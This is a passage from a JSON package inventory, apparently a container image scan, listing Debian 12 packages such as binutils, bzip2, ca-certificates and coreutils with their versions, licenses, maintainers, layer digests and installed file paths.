"/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xsce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xse", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xsw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xswe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xu", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.x", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xbn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xd", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xdc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xdce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xde", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xdw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xdwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xr", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xs", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xsc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xsce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xse", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xsw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xswe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xu", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.x", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xbn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xd", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xdc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xdce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xde", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xdw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xdwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xr", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xs", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xsc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xsce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xse", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xsw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xswe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xu", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.x", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xbn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xd", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xdc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xdce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xde", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xdw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xdwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xr", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xs", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xsc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xsce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xse", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xsw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xswe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xu", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xwe", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.x", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.xa", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.xbn", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.xe", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.xn", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.xr", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.xu", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.x", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.xa", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.xbn", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.xe", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.xn", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.xr", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.xu", "/usr/share/doc/binutils/test-summary-amd64.gz", "/usr/share/lintian/overrides/binutils-x86-64-linux-gnu" ], "AnalyzedBy": "dpkg" }, { "ID": "bsdutils@1:2.38.1-5+deb12u3", "Name": "bsdutils", "Identifier": { "PURL": "pkg:deb/debian/bsdutils@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "af5a434542493ff" }, "Version": "2.38.1", "Release": "5+deb12u3", "Epoch": 1, "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.38.1", "SrcRelease": "5+deb12u3", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "public-domain", "BSD-4-Clause", "MIT", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "LGPL-2.1-or-later", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "util-linux packagers \u003cutil-linux@packages.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/bin/logger", "/usr/bin/renice", "/usr/bin/script", "/usr/bin/scriptlive", "/usr/bin/scriptreplay", "/usr/bin/wall", "/usr/share/bash-completion/completions/logger", "/usr/share/bash-completion/completions/renice", "/usr/share/bash-completion/completions/script", "/usr/share/bash-completion/completions/scriptlive", "/usr/share/bash-completion/completions/scriptreplay", "/usr/share/bash-completion/completions/wall", "/usr/share/doc/bsdutils/changelog.Debian.gz", "/usr/share/doc/bsdutils/changelog.gz", "/usr/share/doc/bsdutils/copyright", "/usr/share/lintian/overrides/bsdutils", "/usr/share/man/man1/logger.1.gz", "/usr/share/man/man1/renice.1.gz", "/usr/share/man/man1/script.1.gz", "/usr/share/man/man1/scriptlive.1.gz", "/usr/share/man/man1/scriptreplay.1.gz", "/usr/share/man/man1/wall.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "build-essential@12.9", "Name": "build-essential", "Identifier": { "PURL": "pkg:deb/debian/build-essential@12.9?arch=amd64\u0026distro=debian-12.13", "UID": "26796a4d7b339fa7" }, "Version": "12.9", "Arch": "amd64", "SrcName": "build-essential", "SrcVersion": "12.9", "Licenses": [ "GPL-2.0-or-later" ], "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "dpkg-dev@1.21.22", "g++@4:12.2.0-3", "gcc@4:12.2.0-3", "libc6-dev@2.36-9+deb12u13", "make@4.3-4.1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/share/build-essential/essential-packages-list", "/usr/share/build-essential/list", "/usr/share/doc/build-essential/AUTHORS", "/usr/share/doc/build-essential/changelog.gz", "/usr/share/doc/build-essential/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "bzip2@1.0.8-5+b1", "Name": "bzip2", "Identifier": { "PURL": "pkg:deb/debian/bzip2@1.0.8-5%2Bb1?arch=amd64\u0026distro=debian-12.13", "UID": "abb172878e661f70" }, "Version": "1.0.8", "Release": "5+b1", "Arch": "amd64", "SrcName": "bzip2", "SrcVersion": "1.0.8", "SrcRelease": "5", "Licenses": [ "BSD-3-Clause", "GPL-2.0-only" ], "Maintainer": "Anibal Monsalve Salazar \u003canibal@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libbz2-1.0@1.0.8-5+b1", "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/bin/bunzip2", "/bin/bzcat", "/bin/bzdiff", "/bin/bzexe", "/bin/bzgrep", "/bin/bzip2", "/bin/bzip2recover", "/bin/bzmore", "/usr/share/doc/bzip2/changelog.Debian.amd64.gz", "/usr/share/doc/bzip2/changelog.Debian.gz", "/usr/share/doc/bzip2/changelog.gz", "/usr/share/doc/bzip2/copyright", "/usr/share/man/man1/bzdiff.1.gz", "/usr/share/man/man1/bzexe.1.gz", "/usr/share/man/man1/bzgrep.1.gz", "/usr/share/man/man1/bzip2.1.gz", "/usr/share/man/man1/bzmore.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "ca-certificates@20230311+deb12u1", "Name": "ca-certificates", "Identifier": { "PURL": "pkg:deb/debian/ca-certificates@20230311%2Bdeb12u1?arch=all\u0026distro=debian-12.13", "UID": "31c6507ff7b9b40" }, "Version": "20230311+deb12u1", "Arch": "all", "SrcName": "ca-certificates", "SrcVersion": "20230311+deb12u1", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "MPL-2.0" ], "Maintainer": "Julien Cristau \u003cjcristau@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "debconf@1.5.82", "openssl@3.0.18-1~deb12u2" ], "Layer": { "DiffID": "sha256:b99979c554d5f2d69cbadc58ddd93437ce6bba42863814753b116dd758762b98" }, "InstalledFiles": [ "/usr/sbin/update-ca-certificates", "/usr/share/ca-certificates/mozilla/ACCVRAIZ1.crt", "/usr/share/ca-certificates/mozilla/AC_RAIZ_FNMT-RCM.crt", "/usr/share/ca-certificates/mozilla/AC_RAIZ_FNMT-RCM_SERVIDORES_SEGUROS.crt", "/usr/share/ca-certificates/mozilla/ANF_Secure_Server_Root_CA.crt", "/usr/share/ca-certificates/mozilla/Actalis_Authentication_Root_CA.crt", "/usr/share/ca-certificates/mozilla/AffirmTrust_Commercial.crt", "/usr/share/ca-certificates/mozilla/AffirmTrust_Networking.crt", "/usr/share/ca-certificates/mozilla/AffirmTrust_Premium.crt", "/usr/share/ca-certificates/mozilla/AffirmTrust_Premium_ECC.crt", "/usr/share/ca-certificates/mozilla/Amazon_Root_CA_1.crt", "/usr/share/ca-certificates/mozilla/Amazon_Root_CA_2.crt", "/usr/share/ca-certificates/mozilla/Amazon_Root_CA_3.crt", "/usr/share/ca-certificates/mozilla/Amazon_Root_CA_4.crt", "/usr/share/ca-certificates/mozilla/Atos_TrustedRoot_2011.crt", "/usr/share/ca-certificates/mozilla/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.crt", "/usr/share/ca-certificates/mozilla/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068_2.crt", "/usr/share/ca-certificates/mozilla/Baltimore_CyberTrust_Root.crt", "/usr/share/ca-certificates/mozilla/Buypass_Class_2_Root_CA.crt", "/usr/share/ca-certificates/mozilla/Buypass_Class_3_Root_CA.crt", "/usr/share/ca-certificates/mozilla/CA_Disig_Root_R2.crt", "/usr/share/ca-certificates/mozilla/CFCA_EV_ROOT.crt", "/usr/share/ca-certificates/mozilla/COMODO_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/COMODO_ECC_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/COMODO_RSA_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/Certainly_Root_E1.crt", "/usr/share/ca-certificates/mozilla/Certainly_Root_R1.crt", "/usr/share/ca-certificates/mozilla/Certigna.crt", "/usr/share/ca-certificates/mozilla/Certigna_Root_CA.crt", "/usr/share/ca-certificates/mozilla/Certum_EC-384_CA.crt", "/usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA.crt", "/usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA_2.crt", "/usr/share/ca-certificates/mozilla/Certum_Trusted_Root_CA.crt", "/usr/share/ca-certificates/mozilla/Comodo_AAA_Services_root.crt", "/usr/share/ca-certificates/mozilla/D-TRUST_BR_Root_CA_1_2020.crt", "/usr/share/ca-certificates/mozilla/D-TRUST_EV_Root_CA_1_2020.crt", "/usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_2009.crt", "/usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_EV_2009.crt", "/usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_CA.crt", "/usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G2.crt", "/usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G3.crt", "/usr/share/ca-certificates/mozilla/DigiCert_Global_Root_CA.crt", "/usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G2.crt", "/usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G3.crt", "/usr/share/ca-certificates/mozilla/DigiCert_High_Assurance_EV_Root_CA.crt", "/usr/share/ca-certificates/mozilla/DigiCert_TLS_ECC_P384_Root_G5.crt", "/usr/share/ca-certificates/mozilla/DigiCert_TLS_RSA4096_Root_G5.crt", "/usr/share/ca-certificates/mozilla/DigiCert_Trusted_Root_G4.crt", "/usr/share/ca-certificates/mozilla/E-Tugra_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/E-Tugra_Global_Root_CA_ECC_v3.crt", "/usr/share/ca-certificates/mozilla/E-Tugra_Global_Root_CA_RSA_v3.crt", "/usr/share/ca-certificates/mozilla/Entrust.net_Premium_2048_Secure_Server_CA.crt", "/usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_EC1.crt", "/usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_G2.crt", "/usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_G4.crt", "/usr/share/ca-certificates/mozilla/GDCA_TrustAUTH_R5_ROOT.crt", "/usr/share/ca-certificates/mozilla/GLOBALTRUST_2020.crt", "/usr/share/ca-certificates/mozilla/GTS_Root_R1.crt", "/usr/share/ca-certificates/mozilla/GTS_Root_R2.crt", "/usr/share/ca-certificates/mozilla/GTS_Root_R3.crt", "/usr/share/ca-certificates/mozilla/GTS_Root_R4.crt", "/usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R4.crt", "/usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R5.crt", "/usr/share/ca-certificates/mozilla/GlobalSign_Root_CA.crt", "/usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R3.crt", "/usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R6.crt", "/usr/share/ca-certificates/mozilla/GlobalSign_Root_E46.crt", "/usr/share/ca-certificates/mozilla/GlobalSign_Root_R46.crt", "/usr/share/ca-certificates/mozilla/Go_Daddy_Class_2_CA.crt", "/usr/share/ca-certificates/mozilla/Go_Daddy_Root_Certificate_Authority_-_G2.crt", "/usr/share/ca-certificates/mozilla/HARICA_TLS_ECC_Root_CA_2021.crt", "/usr/share/ca-certificates/mozilla/HARICA_TLS_RSA_Root_CA_2021.crt", "/usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_ECC_RootCA_2015.crt", "/usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_RootCA_2015.crt", "/usr/share/ca-certificates/mozilla/HiPKI_Root_CA_-_G1.crt", "/usr/share/ca-certificates/mozilla/Hongkong_Post_Root_CA_1.crt", "/usr/share/ca-certificates/mozilla/Hongkong_Post_Root_CA_3.crt", "/usr/share/ca-certificates/mozilla/ISRG_Root_X1.crt", "/usr/share/ca-certificates/mozilla/ISRG_Root_X2.crt", "/usr/share/ca-certificates/mozilla/IdenTrust_Commercial_Root_CA_1.crt", "/usr/share/ca-certificates/mozilla/IdenTrust_Public_Sector_Root_CA_1.crt", "/usr/share/ca-certificates/mozilla/Izenpe.com.crt", "/usr/share/ca-certificates/mozilla/Microsec_e-Szigno_Root_CA_2009.crt", "/usr/share/ca-certificates/mozilla/Microsoft_ECC_Root_Certificate_Authority_2017.crt", "/usr/share/ca-certificates/mozilla/Microsoft_RSA_Root_Certificate_Authority_2017.crt", "/usr/share/ca-certificates/mozilla/NAVER_Global_Root_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/NetLock_Arany_=Class_Gold=_Főtanúsítvány.crt", "/usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GB_CA.crt", "/usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GC_CA.crt", "/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_1_G3.crt", "/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2.crt", "/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2_G3.crt", "/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3.crt", "/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3_G3.crt", "/usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_ECC.crt", "/usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_RSA_R2.crt", "/usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_ECC.crt", "/usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_RSA.crt", "/usr/share/ca-certificates/mozilla/SZAFIR_ROOT_CA2.crt", "/usr/share/ca-certificates/mozilla/Sectigo_Public_Server_Authentication_Root_E46.crt", "/usr/share/ca-certificates/mozilla/Sectigo_Public_Server_Authentication_Root_R46.crt", "/usr/share/ca-certificates/mozilla/SecureSign_RootCA11.crt", "/usr/share/ca-certificates/mozilla/SecureTrust_CA.crt", "/usr/share/ca-certificates/mozilla/Secure_Global_CA.crt", "/usr/share/ca-certificates/mozilla/Security_Communication_ECC_RootCA1.crt", "/usr/share/ca-certificates/mozilla/Security_Communication_RootCA2.crt", "/usr/share/ca-certificates/mozilla/Security_Communication_RootCA3.crt", "/usr/share/ca-certificates/mozilla/Security_Communication_Root_CA.crt", "/usr/share/ca-certificates/mozilla/Starfield_Class_2_CA.crt", "/usr/share/ca-certificates/mozilla/Starfield_Root_Certificate_Authority_-_G2.crt", "/usr/share/ca-certificates/mozilla/Starfield_Services_Root_Certificate_Authority_-_G2.crt", "/usr/share/ca-certificates/mozilla/SwissSign_Gold_CA_-_G2.crt", "/usr/share/ca-certificates/mozilla/SwissSign_Silver_CA_-_G2.crt", "/usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_2.crt", "/usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_3.crt", "/usr/share/ca-certificates/mozilla/TUBITAK_Kamu_SM_SSL_Kok_Sertifikasi_-_Surum_1.crt", "/usr/share/ca-certificates/mozilla/TWCA_Global_Root_CA.crt", "/usr/share/ca-certificates/mozilla/TWCA_Root_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/TeliaSonera_Root_CA_v1.crt", "/usr/share/ca-certificates/mozilla/Telia_Root_CA_v2.crt", "/usr/share/ca-certificates/mozilla/TrustCor_ECA-1.crt", "/usr/share/ca-certificates/mozilla/TrustCor_RootCert_CA-1.crt", "/usr/share/ca-certificates/mozilla/TrustCor_RootCert_CA-2.crt", "/usr/share/ca-certificates/mozilla/Trustwave_Global_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/Trustwave_Global_ECC_P256_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/Trustwave_Global_ECC_P384_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/TunTrust_Root_CA.crt", "/usr/share/ca-certificates/mozilla/UCA_Extended_Validation_Root.crt", "/usr/share/ca-certificates/mozilla/UCA_Global_G2_Root.crt", "/usr/share/ca-certificates/mozilla/USERTrust_ECC_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/USERTrust_RSA_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/XRamp_Global_CA_Root.crt", "/usr/share/ca-certificates/mozilla/certSIGN_ROOT_CA.crt", "/usr/share/ca-certificates/mozilla/certSIGN_Root_CA_G2.crt", "/usr/share/ca-certificates/mozilla/e-Szigno_Root_CA_2017.crt", "/usr/share/ca-certificates/mozilla/ePKI_Root_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/emSign_ECC_Root_CA_-_C3.crt", "/usr/share/ca-certificates/mozilla/emSign_ECC_Root_CA_-_G3.crt", "/usr/share/ca-certificates/mozilla/emSign_Root_CA_-_C1.crt", "/usr/share/ca-certificates/mozilla/emSign_Root_CA_-_G1.crt", "/usr/share/ca-certificates/mozilla/vTrus_ECC_Root_CA.crt", "/usr/share/ca-certificates/mozilla/vTrus_Root_CA.crt", "/usr/share/doc/ca-certificates/README.Debian", "/usr/share/doc/ca-certificates/changelog.gz", "/usr/share/doc/ca-certificates/copyright", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/Makefile", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/README", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/ca-certificates-local.triggers", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/changelog", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/compat", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/control", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/copyright", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/postrm", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/rules", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/source/format", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/local/Local_Root_CA.crt", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/local/Makefile", "/usr/share/man/man8/update-ca-certificates.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "coreutils@9.1-1", "Name": "coreutils", "Identifier": { "PURL": "pkg:deb/debian/coreutils@9.1-1?arch=amd64\u0026distro=debian-12.13", "UID": "4dcfd69f3b62ab36" }, "Version": "9.1", "Release": "1", "Arch": "amd64", "SrcName": "coreutils", "SrcVersion": "9.1", "SrcRelease": "1", "Licenses": [ "GPL-3.0-or-later", "BSD-4-Clause-UC", "GPL-3.0-only", "ISC", "FSFULLR", "GFDL-1.3-no-invariants-only", "GFDL-1.3-only" ], "Maintainer": "Michael Stone \u003cmstone@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/bin/cat", "/bin/chgrp", "/bin/chmod", "/bin/chown", "/bin/cp", "/bin/date", "/bin/dd", "/bin/df", "/bin/dir", "/bin/echo", "/bin/false", "/bin/ln", "/bin/ls", "/bin/mkdir", "/bin/mknod", "/bin/mktemp", "/bin/mv", "/bin/pwd", "/bin/readlink", "/bin/rm", "/bin/rmdir", "/bin/sleep", "/bin/stty", "/bin/sync", "/bin/touch", "/bin/true", "/bin/uname", "/bin/vdir", "/usr/bin/[", "/usr/bin/arch", "/usr/bin/b2sum", "/usr/bin/base32", "/usr/bin/base64", "/usr/bin/basename", "/usr/bin/basenc", "/usr/bin/chcon", "/usr/bin/cksum", "/usr/bin/comm", "/usr/bin/csplit", "/usr/bin/cut", "/usr/bin/dircolors", "/usr/bin/dirname", "/usr/bin/du", "/usr/bin/env", "/usr/bin/expand", "/usr/bin/expr", "/usr/bin/factor", "/usr/bin/fmt", "/usr/bin/fold", "/usr/bin/groups", "/usr/bin/head", "/usr/bin/hostid", "/usr/bin/id", "/usr/bin/install", "/usr/bin/join", "/usr/bin/link", "/usr/bin/logname", "/usr/bin/md5sum", "/usr/bin/mkfifo", "/usr/bin/nice", "/usr/bin/nl", "/usr/bin/nohup", "/usr/bin/nproc", "/usr/bin/numfmt", "/usr/bin/od", "/usr/bin/paste", "/usr/bin/pathchk", "/usr/bin/pinky", "/usr/bin/pr", "/usr/bin/printenv", "/usr/bin/printf", "/usr/bin/ptx", "/usr/bin/realpath", "/usr/bin/runcon", "/usr/bin/seq", "/usr/bin/sha1sum", "/usr/bin/sha224sum", "/usr/bin/sha256sum", "/usr/bin/sha384sum", "/usr/bin/sha512sum", "/usr/bin/shred", "/usr/bin/shuf", "/usr/bin/sort", "/usr/bin/split", "/usr/bin/stat", "/usr/bin/stdbuf", "/usr/bin/sum", "/usr/bin/tac", "/usr/bin/tail", "/usr/bin/tee", "/usr/bin/test", "/usr/bin/timeout", "/usr/bin/tr", "/usr/bin/truncate", "/usr/bin/tsort", "/usr/bin/tty", "/usr/bin/unexpand", "/usr/bin/uniq", "/usr/bin/unlink", "/usr/bin/users", "/usr/bin/wc", "/usr/bin/who", "/usr/bin/whoami", "/usr/bin/yes", "/usr/libexec/coreutils/libstdbuf.so", "/usr/sbin/chroot", "/usr/share/doc/coreutils/AUTHORS", "/usr/share/doc/coreutils/NEWS.Debian.gz", "/usr/share/doc/coreutils/NEWS.gz", "/usr/share/doc/coreutils/README.Debian", "/usr/share/doc/coreutils/README.gz", "/usr/share/doc/coreutils/THANKS.gz", "/usr/share/doc/coreutils/TODO.gz", "/usr/share/doc/coreutils/changelog.Debian.gz", "/usr/share/doc/coreutils/changelog.gz", "/usr/share/doc/coreutils/copyright", "/usr/share/info/coreutils.info.gz", "/usr/share/locale/af/LC_MESSAGES/coreutils.mo", "/usr/share/locale/be/LC_MESSAGES/coreutils.mo", "/usr/share/locale/bg/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ca/LC_MESSAGES/coreutils.mo", "/usr/share/locale/cs/LC_MESSAGES/coreutils.mo", "/usr/share/locale/da/LC_MESSAGES/coreutils.mo", "/usr/share/locale/de/LC_MESSAGES/coreutils.mo", "/usr/share/locale/el/LC_MESSAGES/coreutils.mo", "/usr/share/locale/eo/LC_MESSAGES/coreutils.mo", "/usr/share/locale/es/LC_MESSAGES/coreutils.mo", "/usr/share/locale/et/LC_MESSAGES/coreutils.mo", "/usr/share/locale/eu/LC_MESSAGES/coreutils.mo", "/usr/share/locale/fi/LC_MESSAGES/coreutils.mo", "/usr/share/locale/fr/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ga/LC_MESSAGES/coreutils.mo", "/usr/share/locale/gl/LC_MESSAGES/coreutils.mo", "/usr/share/locale/hr/LC_MESSAGES/coreutils.mo", "/usr/share/locale/hu/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ia/LC_MESSAGES/coreutils.mo", "/usr/share/locale/id/LC_MESSAGES/coreutils.mo", "/usr/share/locale/it/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ja/LC_MESSAGES/coreutils.mo", "/usr/share/locale/kk/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ko/LC_MESSAGES/coreutils.mo", "/usr/share/locale/lg/LC_MESSAGES/coreutils.mo", "/usr/share/locale/lt/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ms/LC_MESSAGES/coreutils.mo", "/usr/share/locale/nb/LC_MESSAGES/coreutils.mo", "/usr/share/locale/nl/LC_MESSAGES/coreutils.mo", "/usr/share/locale/pl/LC_MESSAGES/coreutils.mo", "/usr/share/locale/pt/LC_MESSAGES/coreutils.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ro/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ru/LC_MESSAGES/coreutils.mo", "/usr/share/locale/sk/LC_MESSAGES/coreutils.mo", "/usr/share/locale/sl/LC_MESSAGES/coreutils.mo", "/usr/share/locale/sr/LC_MESSAGES/coreutils.mo", "/usr/share/locale/sv/LC_MESSAGES/coreutils.mo", "/usr/share/locale/tr/LC_MESSAGES/coreutils.mo", "/usr/share/locale/uk/LC_MESSAGES/coreutils.mo", "/usr/share/locale/vi/LC_MESSAGES/coreutils.mo", 